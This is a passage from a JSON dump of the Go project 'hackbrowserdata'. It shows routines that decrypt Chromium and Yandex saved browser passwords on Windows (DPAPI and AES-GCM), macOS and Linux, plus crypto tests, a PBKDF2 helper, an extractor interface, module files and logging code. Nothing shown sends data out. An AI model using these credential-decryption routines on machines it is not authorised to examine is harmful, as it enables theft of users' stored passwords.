    "content": "//go:build darwin\n\npackage crypto\n\nimport \"errors\"\n\nvar ErrDarwinNotSupportDPAPI = errors.New(\"darwin not support dpapi\")\n\nfunc DecryptWithChromium(key, password []byte) ([]byte, error) {\n\tif len(password) <= 3 {\n\t\treturn nil, ErrCiphertextLengthIsInvalid\n\t}\n\tiv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}\n\treturn AES128CBCDecrypt(key, iv, password[3:])\n}\n\nfunc DecryptWithDPAPI(_ []byte) ([]byte, error) {\n\treturn nil, ErrDarwinNotSupportDPAPI\n}\n"
  },
  {
    "path": "crypto/crypto_linux.go",
    "content": "//go:build linux\n\npackage crypto\n\nfunc DecryptWithChromium(key, encryptPass []byte) ([]byte, error) {\n\tif len(encryptPass) < 3 {\n\t\treturn nil, ErrCiphertextLengthIsInvalid\n\t}\n\tiv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}\n\treturn AES128CBCDecrypt(key, iv, encryptPass[3:])\n}\n\nfunc DecryptWithDPAPI(_ []byte) ([]byte, error) {\n\treturn nil, nil\n}\n"
  },
  {
    "path": "crypto/crypto_test.go",
    "content": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nconst baseKey = \"moond4rk\"\n\nvar (\n\taesKey           = bytes.Repeat([]byte(baseKey), 2) // 16 bytes\n\taesIV            = []byte(\"01234567abcdef01\")       // 16 bytes\n\tplainText        = []byte(\"Hello, World!\")\n\taes128Ciphertext = \"19381468ecf824c0bfc7a89eed9777d2\"\n\n\tdes3Key        = sha1.New().Sum(aesKey)[:24]\n\tdes3IV         = aesIV[:8]\n\tdes3Ciphertext = \"a4492f31bc404fae18d53a46ca79282e\"\n\n\taesGCMNonce      = aesKey[:12]\n\taesGCMCiphertext = \"6c49dac89992639713edab3a114c450968a08b53556872cea3919e2e9a\"\n)\n\nfunc TestAES128CBCEncrypt(t *testing.T) {\n\tencrypted, err := AES128CBCEncrypt(aesKey, aesIV, plainText)\n\tassert.Equal(t, nil, err)\n\tassert.Equal(t, true, len(encrypted) > 0)\n\tassert.Equal(t, aes128Ciphertext, fmt.Sprintf(\"%x\", encrypted))\n}\n\nfunc TestAES128CBCDecrypt(t *testing.T) {\n\tciphertext, _ := hex.DecodeString(aes128Ciphertext)\n\tdecrypted, err := AES128CBCDecrypt(aesKey, aesIV, ciphertext)\n\tassert.Equal(t, nil, err)\n\tassert.Equal(t, true, len(decrypted) > 0)\n\tassert.Equal(t, plainText, decrypted)\n}\n\nfunc TestDES3Encrypt(t *testing.T) {\n\tencrypted, err := DES3Encrypt(des3Key, des3IV, plainText)\n\tassert.Equal(t, nil, err)\n\tassert.Equal(t, true, len(encrypted) > 0)\n\tassert.Equal(t, des3Ciphertext, fmt.Sprintf(\"%x\", encrypted))\n}\n\nfunc TestDES3Decrypt(t *testing.T) {\n\tciphertext, _ := hex.DecodeString(des3Ciphertext)\n\tdecrypted, err := DES3Decrypt(des3Key, des3IV, ciphertext)\n\tassert.Equal(t, nil, err)\n\tassert.Equal(t, true, len(decrypted) > 0)\n\tassert.Equal(t, plainText, decrypted)\n}\n\nfunc TestAESGCMEncrypt(t *testing.T) {\n\tencrypted, err := AESGCMEncrypt(aesKey, aesGCMNonce, plainText)\n\tassert.Equal(t, nil, err)\n\tassert.Equal(t, true, len(encrypted) > 0)\n\tassert.Equal(t, aesGCMCiphertext, fmt.Sprintf(\"%x\", encrypted))\n}\n\nfunc TestAESGCMDecrypt(t *testing.T) {\n\tciphertext, _ := hex.DecodeString(aesGCMCiphertext)\n\tdecrypted, err := AESGCMDecrypt(aesKey, aesGCMNonce, ciphertext)\n\tassert.Equal(t, nil, err)\n\tassert.Equal(t, true, len(decrypted) > 0)\n\tassert.Equal(t, plainText, decrypted)\n}\n"
  },
  {
    "path": "crypto/crypto_windows.go",
    "content": "//go:build windows\n\npackage crypto\n\nimport (\n\t\"fmt\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nconst (\n\t// Assuming the nonce size is 12 bytes and the minimum encrypted data size is 3 bytes\n\tminEncryptedDataSize = 15\n\tnonceSize            = 12\n)\n\nfunc DecryptWithChromium(key, ciphertext []byte) ([]byte, error) {\n\tif len(ciphertext) < minEncryptedDataSize {\n\t\treturn nil, ErrCiphertextLengthIsInvalid\n\t}\n\n\tnonce := ciphertext[3 : 3+nonceSize]\n\tencryptedPassword := ciphertext[3+nonceSize:]\n\n\treturn AESGCMDecrypt(key, nonce, encryptedPassword)\n}\n\n// DecryptWithYandex decrypts the password with AES-GCM\nfunc DecryptWithYandex(key, ciphertext []byte) ([]byte, error) {\n\tif len(ciphertext) < minEncryptedDataSize {\n\t\treturn nil, ErrCiphertextLengthIsInvalid\n\t}\n\t// remove Prefix 'v10'\n\t// gcmBlockSize         = 16\n\t// gcmTagSize           = 16\n\t// gcmMinimumTagSize    = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.\n\t// gcmStandardNonceSize = 12\n\tnonce := ciphertext[3 : 3+nonceSize]\n\tencryptedPassword := ciphertext[3+nonceSize:]\n\treturn AESGCMDecrypt(key, nonce, encryptedPassword)\n}\n\ntype dataBlob struct {\n\tcbData uint32\n\tpbData *byte\n}\n\nfunc newBlob(d []byte) *dataBlob {\n\tif len(d) == 0 {\n\t\treturn &dataBlob{}\n\t}\n\treturn &dataBlob{\n\t\tpbData: &d[0],\n\t\tcbData: uint32(len(d)),\n\t}\n}\n\nfunc (b *dataBlob) bytes() []byte {\n\td := make([]byte, b.cbData)\n\tcopy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])\n\treturn d\n}\n\n// DecryptWithDPAPI (Data Protection Application Programming Interface)\n// is a simple cryptographic application programming interface\n// available as a built-in component in Windows 2000 and\n// later versions of Microsoft Windows operating systems\nfunc DecryptWithDPAPI(ciphertext []byte) ([]byte, error) {\n\tcrypt32 := syscall.NewLazyDLL(\"Crypt32.dll\")\n\tkernel32 := syscall.NewLazyDLL(\"Kernel32.dll\")\n\tunprotectDataProc := crypt32.NewProc(\"CryptUnprotectData\")\n\tlocalFreeProc := kernel32.NewProc(\"LocalFree\")\n\n\tvar outBlob dataBlob\n\tr, _, err := unprotectDataProc.Call(\n\t\tuintptr(unsafe.Pointer(newBlob(ciphertext))),\n\t\t0, 0, 0, 0, 0,\n\t\tuintptr(unsafe.Pointer(&outBlob)),\n\t)\n\tif r == 0 {\n\t\treturn nil, fmt.Errorf(\"CryptUnprotectData failed with error %w\", err)\n\t}\n\n\tdefer localFreeProc.Call(uintptr(unsafe.Pointer(outBlob.pbData)))\n\treturn outBlob.bytes(), nil\n}\n"
  },
  {
    "path": "crypto/pbkdf2.go",
    "content": "package crypto\n\nimport (\n\t\"crypto/hmac\"\n\t\"hash\"\n)\n\n// PBKDF2Key derives a key from the password, salt and iteration count, returning a\n// []byte of length keylen that can be used as cryptographic key. The key is\n// derived based on the method described as PBKDF2 with the HMAC variant using\n// the supplied hash function.\n//\n// For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you\n// can get a derived key for e.g. AES-256 (which needs a 32-byte key) by\n// doing:\n//\n//\tdk := pbkdf2.Key([]byte(\"some password\"), salt, 4096, 32, sha1.New)\n//\n// Remember to get a good random salt. At least 8 bytes is recommended by the\n// RFC.\n//\n// Using a higher iteration count will increase the cost of an exhaustive\n// search but will also make derivation proportionally slower.\n// Copy from https://golang.org/x/crypto/pbkdf2\nfunc PBKDF2Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte {\n\tprf := hmac.New(h, password)\n\thashLen := prf.Size()\n\tnumBlocks := (keyLen + hashLen - 1) / hashLen\n\n\tvar buf [4]byte\n\tdk := make([]byte, 0, numBlocks*hashLen)\n\tu := make([]byte, hashLen)\n\tfor block := 1; block <= numBlocks; block++ {\n\t\t// N.B.: || means concatenation, ^ means XOR\n\t\t// for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter\n\t\t// U_1 = PRF(password, salt || uint(i))\n\t\tprf.Reset()\n\t\tprf.Write(salt)\n\t\tbuf[0] = byte(block >> 24)\n\t\tbuf[1] = byte(block >> 16)\n\t\tbuf[2] = byte(block >> 8)\n\t\tbuf[3] = byte(block)\n\t\tprf.Write(buf[:4])\n\t\tdk = prf.Sum(dk)\n\t\tt := dk[len(dk)-hashLen:]\n\t\tcopy(u, t)\n\n\t\tfor n := 2; n <= iter; n++ {\n\t\t\tprf.Reset()\n\t\t\tprf.Write(u)\n\t\t\tu = u[:0]\n\t\t\tu = prf.Sum(u)\n\t\t\tfor x := range u {\n\t\t\t\tt[x] ^= u[x]\n\t\t\t}\n\t\t}\n\t}\n\treturn dk[:keyLen]\n}\n"
  },
  {
    "path": "extractor/extractor.go",
    "content": "package extractor\n\n// Extractor is an interface for extracting data from browser data files\ntype Extractor interface {\n\tExtract(masterKey []byte) error\n\n\tName() string\n\n\tLen() int\n}\n"
  },
  {
    "path": "extractor/registration.go",
    "content": "package extractor\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar extractorRegistry = make(map[types.DataType]func() Extractor)\n\n// RegisterExtractor is used to register the data source\nfunc RegisterExtractor(dataType types.DataType, factoryFunc func() Extractor) {\n\textractorRegistry[dataType] = factoryFunc\n}\n\n// CreateExtractor is used to create the data source\nfunc CreateExtractor(dataType types.DataType) Extractor {\n\tif factoryFunc, ok := extractorRegistry[dataType]; ok {\n\t\treturn factoryFunc()\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/moond4rk/hackbrowserdata\n\ngo 1.20\n\nrequire (\n\tgithub.com/DATA-DOG/go-sqlmock v1.5.2\n\tgithub.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1\n\tgithub.com/godbus/dbus/v5 v5.1.0\n\tgithub.com/otiai10/copy v1.14.0\n\tgithub.com/ppacher/go-dbus-keyring v1.0.1\n\tgithub.com/stretchr/testify v1.9.0\n\tgithub.com/syndtr/goleveldb v1.0.0\n\tgithub.com/tidwall/gjson v1.18.0\n\tgithub.com/urfave/cli/v2 v2.27.4\n\tgolang.org/x/text v0.19.0\n\tmodernc.org/sqlite v1.31.1\n)\n\nrequire (\n\tgithub.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect\n\tgithub.com/davecgh/go-spew v1.1.1 // indirect\n\tgithub.com/dustin/go-humanize v1.0.1 // indirect\n\tgithub.com/golang/snappy v0.0.0-20180518054509-2e65f85255db // indirect\n\tgithub.com/google/uuid v1.6.0 // indirect\n\tgithub.com/hashicorp/golang-lru/v2 v2.0.7 // indirect\n\tgithub.com/mattn/go-isatty v0.0.20 // indirect\n\tgithub.com/ncruces/go-strftime v0.1.9 // indirect\n\tgithub.com/pmezard/go-difflib v1.0.0 // indirect\n\tgithub.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect\n\tgithub.com/russross/blackfriday/v2 v2.1.0 // indirect\n\tgithub.com/tidwall/match v1.1.1 // indirect\n\tgithub.com/tidwall/pretty v1.2.0 // indirect\n\tgithub.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect\n\tgolang.org/x/sync v0.8.0 // indirect\n\tgolang.org/x/sys v0.22.0 // indirect\n\tgopkg.in/yaml.v3 v3.0.1 // indirect\n\tmodernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect\n\tmodernc.org/libc v1.55.3 // indirect\n\tmodernc.org/mathutil v1.6.0 // indirect\n\tmodernc.org/memory v1.8.0 // indirect\n\tmodernc.org/strutil v1.2.0 // indirect\n\tmodernc.org/token v1.1.0 // indirect\n)\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU=\ngithub.com/DATA-DOG/go-sqlmock v1.5.2/go.mod h1:88MAG/4G7SMwSE3CeA0ZKzrT5CiOU3OJ+JlNzwDqpNU=\ngithub.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4=\ngithub.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=\ngithub.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=\ngithub.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=\ngithub.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1 h1:FWNFq4fM1wPfcK40yHE5UO3RUdSNPaBC+j3PokzA6OQ=\ngithub.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=\ngithub.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=\ngithub.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=\ngithub.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=\ngithub.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/snappy v0.0.0-20180518054509-2e65f85255db h1:woRePGFeVFfLKN/pOkfl+p/TAqKOfFu+7KPlMVpok/w=\ngithub.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=\ngithub.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo=\ngithub.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=\ngithub.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=\ngithub.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=\ngithub.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=\ngithub.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=\ngithub.com/kisielk/sqlstruct v0.0.0-20201105191214-5f3e10d3ab46/go.mod h1:yyMNCyc/Ib3bDTKd379tNMpB/7/H5TjM2Y9QJ5THLbE=\ngithub.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=\ngithub.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=\ngithub.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=\ngithub.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=\ngithub.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=\ngithub.com/onsi/ginkgo v1.7.0 h1:WSHQ+IS43OoUrWtD1/bbclrwK8TTH5hzp+umCiuxHgs=\ngithub.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=\ngithub.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU=\ngithub.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=\ngithub.com/otiai10/copy v1.14.0 h1:dCI/t1iTdYGtkvCuBG2BgR6KZa83PTclw4U5n2wAllU=\ngithub.com/otiai10/copy v1.14.0/go.mod h1:ECfuL02W+/FkTWZWgQqXPWZgW9oeKCSQ5qVfSc4qc4w=\ngithub.com/otiai10/mint v1.5.1 h1:XaPLeE+9vGbuyEHem1JNk3bYc7KKqyI/na0/mLd/Kks=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0=\ngithub.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE=\ngithub.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=\ngithub.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=\ngithub.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=\ngithub.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=\ngithub.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=\ngithub.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=\ngithub.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=\ngithub.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=\ngithub.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=\ngithub.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=\ngithub.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=\ngithub.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=\ngithub.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=\ngithub.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=\ngithub.com/urfave/cli/v2 v2.27.4 h1:o1owoI+02Eb+K107p27wEX9Bb8eqIoZCfLXloLUSWJ8=\ngithub.com/urfave/cli/v2 v2.27.4/go.mod h1:m4QzxcD2qpra4z7WhzEGn74WZLViBnMpb1ToCAKdGRQ=\ngithub.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4=\ngithub.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM=\ngolang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=\ngolang.org/x/net v0.0.0-20180906233101-161cd47e91fd h1:nTDtHvHSdCn1m6ITfMRqtOd/9+7a3s8RBNOZ3eYZzJA=\ngolang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=\ngolang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=\ngolang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM=\ngolang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=\ngolang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=\ngopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=\ngopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=\ngopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=\ngopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\nmodernc.org/cc/v4 v4.21.4 h1:3Be/Rdo1fpr8GrQ7IVw9OHtplU4gWbb+wNgeoBMmGLQ=\nmodernc.org/ccgo/v4 v4.19.2 h1:lwQZgvboKD0jBwdaeVCTouxhxAyN6iawF3STraAal8Y=\nmodernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE=\nmodernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw=\nmodernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI=\nmodernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4=\nmodernc.org/libc v1.55.3 h1:AzcW1mhlPNrRtjS5sS+eW2ISCgSOLLNyFzRh/V3Qj/U=\nmodernc.org/libc v1.55.3/go.mod h1:qFXepLhz+JjFThQ4kzwzOjA/y/artDeg+pcYnY+Q83w=\nmodernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=\nmodernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=\nmodernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E=\nmodernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU=\nmodernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=\nmodernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc=\nmodernc.org/sqlite v1.31.1 h1:XVU0VyzxrYHlBhIs1DiEgSl0ZtdnPtbLVy8hSkzxGrs=\nmodernc.org/sqlite v1.31.1/go.mod h1:UqoylwmTb9F+IqXERT8bW9zzOWN8qwAIcLdzeBZs4hA=\nmodernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA=\nmodernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0=\nmodernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=\nmodernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=\n"
  },
  {
    "path": "log/level/level.go",
    "content": "package level\n\n// Level defines all the available levels we can log at\ntype Level int32\n\nconst (\n\t// DebugLevel is the lowest level of logging.\n\t// Debug logs are intended for debugging and development purposes.\n\tDebugLevel Level = iota + 1\n\n\t// WarnLevel is used for undesired but relatively expected events,\n\t// which may indicate a problem.\n\tWarnLevel\n\n\t// ErrorLevel is used for undesired and unexpected events that\n\t// the program can recover from.\n\tErrorLevel\n\n\t// FatalLevel is used for undesired and unexpected events that\n\t// the program cannot recover from.\n\tFatalLevel\n)\n\nfunc (l Level) String() string {\n\tswitch l {\n\tcase DebugLevel:\n\t\treturn \"DEBUG\"\n\tcase WarnLevel:\n\t\treturn \"WARN\"\n\tcase ErrorLevel:\n\t\treturn \"ERROR\"\n\tcase FatalLevel:\n\t\treturn \"FATAL\"\n\tdefault:\n\t\treturn \"UNKNOWN\"\n\t}\n}\n"
  },
  {
    "path": "log/log.go",
    "content": "package log\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/log/level\"\n)\n\nvar (\n\t// defaultLogger is the default logger used by the package-level functions.\n\tdefaultLogger = NewLogger(nil)\n)\n\nfunc SetVerbose() {\n\tdefaultLogger.SetLevel(level.DebugLevel)\n}\n\nfunc Debug(args ...any) {\n\tdefaultLogger.Debug(args...)\n}\n\nfunc Debugf(format string, args ...any) {\n\tdefaultLogger.Debugf(format, args...)\n}\n\nfunc Warn(args ...any) {\n\tdefaultLogger.Warn(args...)\n}\n\nfunc Warnf(format string, args ...any) {\n\tdefaultLogger.Warnf(format, args...)\n}\n\nfunc Error(args ...any) {\n\tdefaultLogger.Error(args...)\n}\n\nfunc Errorf(format string, args ...any) {\n\tdefaultLogger.Errorf(format, args...)\n}\n\nfunc Fatal(args ...any) {\n\tdefaultLogger.Fatal(args...)\n}\n\nfunc Fatalf(format string, args ...any) {\n\tdefaultLogger.Fatalf(format, args...)\n}\n"
  },
  {
    "path": "log/logger.go",
    "content": "package log\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\tstdlog \"log\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"sync/atomic\"\n\n\t\"github.com/moond4rk/hackbrowserdata/log/level\"\n)\n\n// NewLogger creates and returns a new instance of Logger.\n// Log level is set to DebugLevel by default.\nfunc NewLogger(base Base) *Logger {\n\tif base == nil {\n\t\tbase = newBase(os.Stderr)\n\t}\n\treturn &Logger{base: base, minLevel: level.WarnLevel}\n}\n\n// Logger logs message to io.Writer at various log levels.\ntype Logger struct {\n\tbase Base\n\n\t// Minimum log level for this logger.\n\t// Message with level lower than this level won't be outputted.\n\tminLevel level.Level\n}\n\n// canLogAt reports whether logger can log at level v.\nfunc (l *Logger) canLogAt(v level.Level) bool {\n\treturn v >= level.Level(atomic.LoadInt32((*int32)(&l.minLevel)))\n}\n\n// SetLevel sets the logger level.\n// It panics if v is less than DebugLevel or greater than FatalLevel.\nfunc (l *Logger) SetLevel(v level.Level) {\n\tif v < level.DebugLevel || v > 